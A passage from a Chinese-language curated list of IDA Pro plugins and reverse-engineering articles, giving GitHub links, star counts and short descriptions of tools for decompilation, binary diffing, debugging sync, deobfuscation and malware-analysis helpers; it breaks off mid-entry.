[leafblower](https://github.com/devttys0/ida/tree/master/plugins/leafblower) 识别常用的POSIX函数:printf, sprintf, memcmp, strcpy等 - [localxrefs](https://github.com/devttys0/ida/tree/master/plugins/localxrefs) 在当前函数内部查找所有对任意选择文本的引用 - [mipslocalvars](https://github.com/devttys0/ida/tree/master/plugins/mipslocalvars) 对栈上只用于存储寄存器的变量进行命名,简化栈数据分析(MISP) - [mipsrop](https://github.com/devttys0/ida/tree/master/plugins/mipsrop) 在MIPS可执行代码中搜寻ROP。查找常见的ROP - [rizzo](https://github.com/devttys0/ida/tree/master/plugins/rizzo) 对2个或多个IDB之间的函数进行识别和重命名,基于:函数签名、对唯一字符串/常量的引用、模糊签名、调用图 - [**318**星][2m] [C] [ohjeongwook/darungrim](https://github.com/ohjeongwook/darungrim) 软件补丁分析工具 - [IDA插件](https://github.com/ohjeongwook/darungrim/tree/master/Src/IDAPlugin) - [DGEngine](https://github.com/ohjeongwook/darungrim/tree/master/Src/DGEngine) - [**277**星][4m] [Py] [jpcertcc/aa-tools](https://github.com/jpcertcc/aa-tools) 多脚本 - [apt17scan.py](https://github.com/jpcertcc/aa-tools/blob/master/apt17scan.py) Volatility插件, 检测APT17相关的恶意代码并提取配置 - [emdivi_postdata_decoder](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_postdata_decoder.py) 解码Emdivi post的数据 - [emdivi_string_decryptor](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_string_decryptor.py) IDAPython脚本, 解密Emdivi内的字符串 - [citadel_decryptor](https://github.com/jpcertcc/aa-tools/tree/master/citadel_decryptor) Data decryption tool for Citadel - [adwind_string_decoder](https://github.com/jpcertcc/aa-tools/blob/master/adwind_string_decoder.py) Python script for decoding strings inside Adwind - [redleavesscan](https://github.com/jpcertcc/aa-tools/blob/master/redleavesscan.py) Volatility plugin for detecting RedLeaves and extracting its config - [datper_splunk](https://github.com/jpcertcc/aa-tools/blob/master/datper_splunk.py) Python script for detects Datper communication and adds result field to Splunk index - [datper_elk](https://github.com/jpcertcc/aa-tools/blob/master/datper_elk.py) Python script for detects Datper communication and adds result field to Elasticsearch index - [tscookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_decode.py) Python script for decrypting and parsing TSCookie configure data - [wellmess_cookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/wellmess_cookie_decode.py) Python script for decoding WellMess's cookie data (support Python2) - [cobaltstrikescan](https://github.com/jpcertcc/aa-tools/blob/master/cobaltstrikescan.py) Volatility plugin for detecting Cobalt Strike Beacon and extracting its config - [tscookie_data_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_data_decode.py) Python script for decrypting and parsing TSCookie configure data ### <a id="fb4f0c061a72fc38656691746e7c45ce"></a>结构体&&类的检测&&创建&&恢复 #### <a id="fa5ede9a4f58d4efd98585d3158be4fb"></a>未分类 - [**931**星][16d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析(寄存器、内存)、污点分析、类型重建和传播(propagation)、前向/后向分析 - 重复区段: [IDA->插件->污点分析](#34ac84853604a7741c61670f2a075d20) | - [**664**星][19d] [Py] [igogo-x86/hexrayspytools](https://github.com/igogo-x86/hexrayspytools) 结构体和类重建插件 #### <a id="4900b1626f10791748b20630af6d6123"></a>C++类&&虚表 - [**607**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息,自动创建C++的虚表 - 重复区段: [IDA->插件->调试->调试数据](#b31acf6c84a9506066d497af4e702bf5) | <details> <summary>查看详情</summary> ## 静态部分: - 检测非直接调用 - 利用条件断点, Hook非直接调用的值赋值过程 ## 动态 部分 - 创建虚表结构 - 重命名函数和虚表地址 - 给反汇编非直接调用添加结构偏移 - 给非直接调用到虚表之间添加交叉引用 ## 使用 - File -> Script File -> Main.py(设置断点) -> IDA调试器执行 </details> ### <a id="a7dac37cd93b8bb42c7d6aedccb751b3"></a>收集 - [**1771**星][2d] [onethawt/idaplugins-list](https://github.com/onethawt/idaplugins-list) IDA插件收集 - [**363**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集 - 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) | ### <a id="fabf03b862a776bbd8bcc4574943a65a"></a>外观&&主题 - [**723**星][6m] [Py] [zyantific/idaskins](https://github.com/zyantific/idaskins) 皮肤插件 ### <a id="a8f5db3ab4bc7bc3d6ca772b3b9b0b1e"></a>固件&&嵌入式设备 - [**5228**星][1m] [Py] [refirmlabs/binwalk](https://github.com/ReFirmLabs/binwalk) 固件分析工具(命令行+IDA插件) - [IDA插件](https://github.com/ReFirmLabs/binwalk/tree/master/src/scripts) - [binwalk](https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk) - [**492**星][4m] [Py] [maddiestone/idapythonembeddedtoolkit](https://github.com/maddiestone/idapythonembeddedtoolkit) 自动分析嵌入式设备的固件 ### <a id="02088f4884be6c9effb0f1e9a3795e58"></a>签名(FLIRT等)&&比较(Diff)&&匹配 #### <a id="cf04b98ea9da0056c055e2050da980c1"></a>未分类 - [**421**星][30d] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件) - 重复区段: [IDA->插件->作为辅助](#83de90385d03ac8ef27360bfcdc1ab48) | - [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin) - [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0) #### <a id="19360afa4287236abe47166154bc1ece"></a>FLIRT签名 ##### <a id="1c9d8dfef3c651480661f98418c49197"></a>FLIRT签名收集 - [**605**星][1m] [Max] [maktm/flirtdb](https://github.com/Maktm/FLIRTDB) A community driven collection of IDA FLIRT signature files - [**321**星][5m] [push0ebp/sig-database](https://github.com/push0ebp/sig-database) IDA FLIRT Signature Database ##### <a id="a9a63d23d32c6c789ca4d2e146c9b6d0"></a>FLIRT签名生成 #### <a id="161e5a3437461dc8959cc923e6a18ef7"></a>Diff&&Match工具 - [**1554**星][5d] [Py] [joxeankoret/diaphora](https://github.com/joxeankoret/diaphora) program diffing - [**360**星][25d] [Py] [checkpointsw/karta](https://github.com/checkpointsw/karta) source code assisted fast binary matching plugin for IDA - [**332**星][1y] [Py] [joxeankoret/pigaios](https://github.com/joxeankoret/pigaios) A tool for matching and diffing source codes directly against binaries. #### <a id="46c9dfc585ae59fe5e6f7ddf542fb31a"></a>Yara - [**449**星][2m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量 - 重复区段: [IDA->插件->加密解密](#06d2caabef97cf663bd29af2b1fe270c) | ### <a id="5e91b280aab7f242cbc37d64ddbff82f"></a>IDB操作 - [**316**星][6m] [Py] [williballenthin/python-idb](https://github.com/williballenthin/python-idb) idb 文件解析和分析工具 ### <a id="206ca17fc949b8e0ae62731d9bb244cb"></a>协作逆向&&多人操作相同IDB文件 - [**508**星][11m] [Py] [idarlingteam/idarling](https://github.com/IDArlingTeam/IDArling) 多人协作插件 - [**258**星][1y] [C++] [dga-mi-ssi/yaco](https://github.com/dga-mi-ssi/yaco) 利用Git版本控制,同步多人对相同二进制文件的修改 ### <a id="f7d311685152ac005cfce5753c006e4b"></a>与调试器同步&&通信&&交互 - [**471**星][5d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话 - 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) | - [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb) - [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra) - [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida) - [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb) - [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1) - [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2) - [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync) - [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg) - [**292**星][10m] [C] [a1ext/labeless](https://github.com/a1ext/labeless) 在IDA和调试器之间无缝同步Label/注释等 - [IDA插件](https://github.com/a1ext/labeless/tree/master/labeless_ida) - [OD](https://github.com/a1ext/labeless/tree/master/labeless_olly) - [OD2](https://github.com/a1ext/labeless/tree/master/labeless_olly2) - [x64dbg](https://github.com/a1ext/labeless/tree/master/labeless_x64dbg) ### <a id="6fb7e41786c49cc3811305c520dfe9a1"></a>导入导出&与其他工具交互 #### <a id="8ad723b704b044e664970b11ce103c09"></a>未分类 #### <a id="c7066b0c388cd447e980bf0eb38f39ab"></a>Ghidra - [**299**星][4m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器 - 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) | - [**238**星][9m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改 - 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) | #### <a id="11139e7d6db4c1cef22718868f29fe12"></a>BinNavi - [**382**星][18d] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用 - 重复区段: [其他->BinNavi->工具](#2e4980c95871eae4ec0e76c42cc5c32f) | #### <a id="d1ff64bee76f6749aef6100d72bfbe3a"></a>BinaryNinja #### <a id="21ed198ae5a974877d7a635a4b039ae3"></a>Radare2 #### <a id="a1cf7f7f849b4ca2101bd31449c2a0fd"></a>Frida #### <a id="dd0332da5a1482df414658250e6357f8"></a>IntelPin ### <a id="004c199e1dbf71769fbafcd8e58d1ead"></a>针对特定分析目标 #### <a id="5578c56ca09a5804433524047840980e"></a>未分类 #### <a id="cb59d84840e41330a7b5e275c0b81725"></a>Loader&Processor - [**205**星][1y] [Py] [fireeye/idawasm](https://github.com/fireeye/idawasm) WebAssembly的加载器和解析器 #### <a id="1b17ac638aaa09852966306760fda46b"></a>GoLang - [**376**星][9m] [Py] [sibears/idagolanghelper](https://github.com/sibears/idagolanghelper) 解析Go语言编译的二进制文件中的GoLang类型信息 - [**297**星][2m] [Py] [strazzere/golang_loader_assist](https://github.com/strazzere/golang_loader_assist) 辅助Go逆向 #### <a id="4c158ccc5aee04383755851844fdd137"></a>Windows驱动 - [**306**星][1y] [Py] [fsecurelabs/win_driver_plugin](https://github.com/FSecureLABS/win_driver_plugin) A tool to help when dealing with Windows IOCTL codes or reversing Windows drivers. - [**218**星][1y] [Py] [nccgroup/driverbuddy](https://github.com/nccgroup/driverbuddy) 辅助逆向Windows内核驱动 #### <a id="315b1b8b41c67ae91b841fce1d4190b5"></a>PS3&&PS4 #### <a id="f5e51763bb09d8fd47ee575a98bedca1"></a>PDB #### <a id="7d0681efba2cf3adaba2780330cd923a"></a>Flash&&SWF #### <a id="841d605300beba45c3be131988514a03"></a>特定样本家族 #### <a id="ad44205b2d943cfa2fa805b2643f4595"></a>CTF ### <a id="ad68872e14f70db53e8d9519213ec039"></a>IDAPython本身 #### <a id="2299bc16945c25652e5ad4d48eae8eca"></a>未分类 - [**720**星][7d] [Py] [idapython/src](https://github.com/idapython/src) IDAPython源码 - [**373**星][2m] [Py] [tmr232/sark](https://github.com/tmr232/sark) IDAPython的高级抽象 #### <a id="c42137cf98d6042372b1fd43c3635135"></a>cheatsheets - [**258**星][20d] [Py] [inforion/idapython-cheatsheet](https://github.com/inforion/idapython-cheatsheet) Scripts and cheatsheets for IDAPython ### <a id="846eebe73bef533041d74fc711cafb43"></a>指令参考&文档 - [**497**星][1y] [PLpgSQL] [nologic/idaref](https://github.com/nologic/idaref) 指令参考插件. - [**449**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件 - 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) | ### <a id="c08ebe5b7eec9fc96f8eff36d1d5cc7d"></a>辅助脚本编写 #### <a id="45fd7cfce682c7c25b4f3fbc4c461ba2"></a>未分类 - [**282**星][1m] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写 - 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) | #### <a id="1a56a5b726aaa55ec5b7a5087d6c8968"></a>Qt #### <a id="1721c09501e4defed9eaa78b8d708361"></a>控制台&&窗口界面 - [**269**星][30d] [Py] [eset/ipyida](https://github.com/eset/ipyida) 集成IPython控制台 #### <a id="227fbff77e3a13569ef7b007344d5d2e"></a>插件模板 #### <a id="8b19bb8cf9a5bc9e6ab045f3b4fabf6a"></a>其他语言 ### <a id="dc35a2b02780cdaa8effcae2b6ce623e"></a>古老的 ### <a id="e3e7030efc3b4de3b5b8750b7d93e6dd"></a>调试&&动态运行&动态数据 #### <a id="2944dda5289f494e5e636089db0d6a6a"></a>未分类 - [**395**星][1y] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件 - 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) | #### <a id="0fbd352f703b507853c610a664f024d1"></a>DBI数据 - [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况,在IDA/Binja中映射、浏览、查看 - 重复区段: [DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) | - [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息 - [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息 - [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja #### <a id="b31acf6c84a9506066d497af4e702bf5"></a>调试数据 - [**607**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息,自动创建C++的虚表 - 重复区段: [IDA->插件->结构体->C++类](#4900b1626f10791748b20630af6d6123) | <details> <summary>查看详情</summary> ## 静态部分: - 检测非直接调用 - 利用条件断点, Hook非直接调用的值赋值过程 ## 动态 部分 - 创建虚表结构 - 重命名函数和虚表地址 - 给反汇编非直接调用添加结构偏移 - 给非直接调用到虚表之间添加交叉引用 ## 使用 - File -> Script File -> Main.py(设置断点) -> IDA调试器执行 </details> - [**386**星][5m] [Py] [ynvb/die](https://github.com/ynvb/die) 使用IDA调试器收集动态运行信息, 辅助静态分析 ### <a id="d2166f4dac4eab7fadfe0fd06467fbc9"></a>反编译器&&AST - [**1672**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器,支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件,也可以作为库使用 - 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) | - [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin) - [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面 - [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具 - [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码,可作为库使用 - [**1329**星][1y] [C++] [rehints/hexrayscodexplorer](https://github.com/rehints/hexrayscodexplorer) 反编译插件, 多功能 - 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) | <details> <summary>查看详情</summary> - 自动类型重建 - 虚表识别/导航(反编译窗口) - C-tree可视化与导出 - 对象浏览 </details> - [**418**星][3m] [C++] [avast/retdec-idaplugin](https://github.com/avast/retdec-idaplugin) retdec 的 IDA 插件 - [**235**星][7m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件 - 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) | ### <a id="7199e8787c0de5b428f50263f965fda7"></a>反混淆 - [**1365**星][3m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串 - 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) | - [floss](https://github.com/fireeye/flare-floss/tree/master/floss) - [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py) - [**304**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆 - 重复区段: [IDA->插件->Microcode](#7a2977533ccdac70ee6e58a7853b756b) | ### <a id="fcf75a0881617d1f684bc8b359c684d7"></a>效率&&导航&&快速访问&&图形&&图像&&可视化 #### <a id="c5b120e1779b928d860ad64ff8d23264"></a>其他 - [**1329**星][1y] [C++] [rehints/hexrayscodexplorer](https://github.com/rehints/hexrayscodexplorer) 反编译插件, 多功能 - 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) | <details> <summary>查看详情</summary> - 自动类型重建 - 虚表识别/导航(反编译窗口) - C-tree可视化与导出 - 对象浏览 </details> - [**449**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件 - 重复区段: [IDA->插件->指令参考](#846eebe73bef533041d74fc711cafb43) | - [**372**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞 - 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) | <details> <summary>查看详情</summary> ### 功能 - 快速移除函数返回类型 - 数据格式(format)快速转换 - 扫描字符串格式化漏洞 - 双击跳转vtable函数 - 快捷键: w/c/v </details> - [**329**星][3m] [Py] [pfalcon/scratchabit](https://github.com/pfalcon/scratchabit) 交互式反汇编工具, 有与IDAPython兼容的插件API - [**235**星][7m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件 - 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) | #### <a id="03fac5b3abdbd56974894a261ce4e25f"></a>显示增强 - [**208**星][27d] [Py] [patois/idacyber](https://github.com/patois/idacyber) 交互式数据可视化插件 #### <a id="3b1dba00630ce81cba525eea8fcdae08"></a>图形&&图像 - [**2569**星][5m] [Java] [google/binnavi](https://github.com/google/binnavi) 二进制分析IDE, 对反汇编代码的控制流程图和调用图进行探查/导航/编辑/注释.(IDA插件的作用是导出反汇编) #### <a id="8f9468e9ab26128567f4be87ead108d7"></a>搜索 ### <a id="66052f824f5054aa0f70785a2389a478"></a>Android - [**246**星][20d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集 - 重复区段: [Android->工具->ReverseEngineering](#6d2b758b3269bac7d69a2d2c8b45194c) | ### <a id="2adc0044b2703fb010b3bf73b1f1ea4a"></a>Apple&&macOS&&iXxx&&Objective-C&&SWift&&Mach-O #### <a id="8530752bacfb388f3726555dc121cb1a"></a>未分类 #### <a id="82d0fa2d6934ce29794a651513934384"></a>内核缓存 #### <a id="d249a8d09a3f25d75bb7ba8b32bd9ec5"></a>Mach-O #### <a id="1c698e298f6112a86c12881fbd8173c7"></a>Swift ### <a id="e5e403123c70ddae7bd904d3a3005dbb"></a>ELF ### <a id="7a2977533ccdac70ee6e58a7853b756b"></a>Microcode - [**304**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆 - 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) | ### <a id="b38dab81610be087bd5bc7785269b8cc"></a>模拟器集成 - [**504**星][12d] [Py] [alexhude/uemu](https://github.com/alexhude/uemu) 基于Unicorn的模拟器插件 - [**395**星][1y] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件 - 重复区段: [IDA->插件->调试->未分类](#2944dda5289f494e5e636089db0d6a6a) | - [**282**星][1m] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写 - 重复区段: [IDA->插件->辅助脚本编写->未分类](#45fd7cfce682c7c25b4f3fbc4c461ba2) | ### <a id="83de90385d03ac8ef27360bfcdc1ab48"></a>作为辅助&&构成其他的一环 - [**1542**星][20d] [Py] [lifting-bits/mcsema](https://github.com/lifting-bits/mcsema) 将x86, amd64, aarch64二进制文件转换成LLVM字节码 - [IDA7插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida7) 用于反汇编二进制文件并生成控制流程图 - [IDA插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida) 用于反汇编二进制文件并生成控制流程图 - [Binja插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/binja) 用于反汇编二进制文件并生成控制流程图 - [mcsema](https://github.com/lifting-bits/mcsema/tree/master/mcsema) - [**421**星][30d] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件) - 重复区段: [IDA->插件->签名(FLIRT等)->未分类](#cf04b98ea9da0056c055e2050da980c1) | - [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin) - [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0) ### <a id="1ded622dca60b67288a591351de16f8b"></a>漏洞 #### <a id="385d6777d0747e79cccab0a19fa90e7e"></a>未分类 - [**492**星][7m] [Py] [danigargu/heap-viewer](https://github.com/danigargu/heap-viewer) 查看glibc堆, 主要用于漏洞开发 - [**372**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞 - 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) | <details> <summary>查看详情</summary> ### 功能 - 快速移除函数返回类型 - 数据格式(format)快速转换 - 扫描字符串格式化漏洞 - 双击跳转vtable函数 - 快捷键: w/c/v </details> #### <a id="cf2efa7e3edb24975b92d2e26ca825d2"></a>ROP ### <a id="7d557bc3d677d206ef6c5a35ca8b3a14"></a>补丁&&Patch - [**727**星][1y] [Py] [keystone-engine/keypatch](https://github.com/keystone-engine/keypatch) 汇编/补丁插件, 支持多架构, 基于Keystone引擎 ### <a id="7dfd8abad50c14cd6bdc8d8b79b6f595"></a>其他 ### <a id="90bf5d31a3897400ac07e15545d4be02"></a>函数相关 #### <a id="347a2158bdd92b00cd3d4ba9a0be00ae"></a>未分类 #### <a id="73813456eeb8212fd45e0ea347bec349"></a>重命名&&前缀&&标记 - [**291**星][2m] [Py] [a1ext/auto_re](https://github.com/a1ext/auto_re) 自动化函数重命名 #### <a id="e4616c414c24b58626f834e1be079ebc"></a>导航&&查看&&查找 #### <a id="cadae88b91a57345d266c68383eb05c5"></a>demangle ### <a id="34ac84853604a7741c61670f2a075d20"></a>污点分析&&符号执行 - [**931**星][16d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析(寄存器、内存)、污点分析、类型重建和传播(propagation)、前向/后向分析 - 重复区段: [IDA->插件->结构体->未分类](#fa5ede9a4f58d4efd98585d3158be4fb) | ### <a id="9dcc6c7dd980bec1f92d0cc9a2209a24"></a>字符串 - [**1365**星][3m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串 - 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) | - [floss](https://github.com/fireeye/flare-floss/tree/master/floss) - [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py) - [**372**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞 - 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) | <details> <summary>查看详情</summary> ### 功能 - 快速移除函数返回类型 - 数据格式(format)快速转换 - 扫描字符串格式化漏洞 - 双击跳转vtable函数 - 快捷键: w/c/v </details> ### <a id="06d2caabef97cf663bd29af2b1fe270c"></a>加密解密 - [**449**星][2m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量 - 重复区段: [IDA->插件->签名(FLIRT等)->Yara](#46c9dfc585ae59fe5e6f7ddf542fb31a) | *** ## <a id="18c6a45392d6b383ea24b363d2f3e76b"></a>文章 ### <a id="37634a992983db427ce41b37dd9a98c2"></a>新添加的 - 2019.12 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P26)](https://medium.com/p/f3fc8d187258) - 2019.12 [knownsec] [使用 IDA 处理 U-Boot 二进制流文件](https://blog.knownsec.com/2019/12/%e4%bd%bf%e7%94%a8-ida-%e5%a4%84%e7%90%86-u-boot-%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%b5%81%e6%96%87%e4%bb%b6/) - 2019.12 [venus] [使用 IDA 处理 U-Boot 二进制流文件](https://paper.seebug.org/1090/) - 2019.11 [hexblog] [Extending IDA processor modules for GDB debugging](http://www.hexblog.com/?p=1371) - 2019.11 [0x48] [使用IDA处理U-Boot二进制流文件](https://nobb.site/2019/11/29/0x57/) - 2019.11 [aliyun] [使用IDA microcode去除ollvm混淆(上)](https://xz.aliyun.com/t/6749) - 2019.10 [cisco] [New IDA Pro plugin provides TileGX support](https://blogs.cisco.com/security/talos/new-ida-pro-plugin-provides-tilegx-support) - 2019.09 [cisco] [GhIDA: Ghidra decompiler for IDA Pro](https://blogs.cisco.com/security/talos/ghida-ghidra-decompiler-for-ida-pro) - 2019.09 [cn0xroot] [Fix IDA Crash bug on osx 10.14](https://cn0xroot.com/2019/09/02/fix-ida-crash-bug-on-osx-10-14/) - 2019.08 [hexblog] [IDA 7.4: IDAPython and Python 3](http://www.hexblog.com/?p=1355) - 2019.08 [hexblog] [IDA 7.4: Turning off IDA 6.x compatibility in IDAPython by default](http://www.hexblog.com/?p=1352) - 2019.06 [hitbsecconf] [#HITB2019AMS D1T2 - fn_fuzzy: Fast Multiple Binary Diffing Triage With IDA - Takahiro Haruyama](https://www.youtube.com/watch?v=kkvNebE9amY) - 2019.05 [aliyun] [欺骗IDA F5参数识别](https://xz.aliyun.com/t/5186) - 2019.05 [aliyun] [混淆IDA F5的一个小技巧-x64](https://xz.aliyun.com/t/4994) - 2018.11 [4hou] [使用IDAPython自动映射二进制文件替换默认函数名](http://www.4hou.com/technology/14149.html) - 2018.10 [WarrantyVoider] [Ida Pro Tutorial - Compare Reverse Engineering](https://www.youtube.com/watch?v=7-OytQJRwtE) - 2018.06 [freebuf] [MindshaRE:如何利用IDA Python浏览WINDOWS内核](http://www.freebuf.com/articles/system/173269.html) - 2018.05 [WarrantyVoider] [Tutorial - Debugging In Source Code With IDA Pro](https://www.youtube.com/watch?v=Jgb3KTVg-rY) - 2018.03 [BinaryAdventure] [x86 In-Depth 4: Labeling Structs Properly in IDA Pro](https://www.youtube.com/watch?v=X3xCwNt2ZVY) - 2017.12 [BinaryAdventure] [Understanding the IDAPython API Docs](https://www.youtube.com/watch?v=QwOOzSx5g3w) ### <a id="4187e477ebc45d1721f045da62dbf4e8"></a>未分类 - 2018.05 [tradahacking] [使用IDA和辅助工具比较二进制文件](https://medium.com/p/651e62117695) - 2018.04 [pediy] [[翻译]IDAPython-Book(Alexander Hanel)](https://bbs.pediy.com/thread-225920.htm) - 2018.03 [hexblog] [IDA on non-OS X/Retina Hi-DPI displays](http://www.hexblog.com/?p=1180) - 2018.03 [pediy] [[翻译]IDA v6.5 文本执行](https://bbs.pediy.com/thread-225514.htm) - 2018.02 [pediy] [[原创]逆向技术之熟悉IDA工具](https://bbs.pediy.com/thread-224499.htm) - 2018.01 [pediy] [[原创]ARM Linux下搭建IDA Pro远程调试环境](https://bbs.pediy.com/thread-224337.htm) - 2018.01 [pediy] [[翻译]对抗IDA Pro调试器ARM反汇编的技巧](https://bbs.pediy.com/thread-223894.htm) - 2017.12 [OALabs] [Debugging shellcode using BlobRunner and IDA Pro](https://www.youtube.com/watch?v=q9q8dy-2Jeg) - 2017.12 [pediy] [[原创]IDA7.0 Mac 插件编译指南](https://bbs.pediy.com/thread-223211.htm) - 2017.12 [pediy] [[原创]IDA 插件- FRIEND 的安装和使用](https://bbs.pediy.com/thread-223156.htm) - 2017.12 [BinaryAdventure] [IDAPython Tutorial with example script](https://www.youtube.com/watch?v=5ehI2wgcSGo) - 2017.11 [OALabs] [How To Defeat Anti-VM and Anti-Debug Packers With IDA Pro](https://www.youtube.com/watch?v=WlE8abc8V-4) - 2017.11 [pediy] [[原创]IDAPython脚本分享 - 自动在JNI_OnLoad下断点](https://bbs.pediy.com/thread-222998.htm) - 2017.11 [pediy] [[求助]IDA 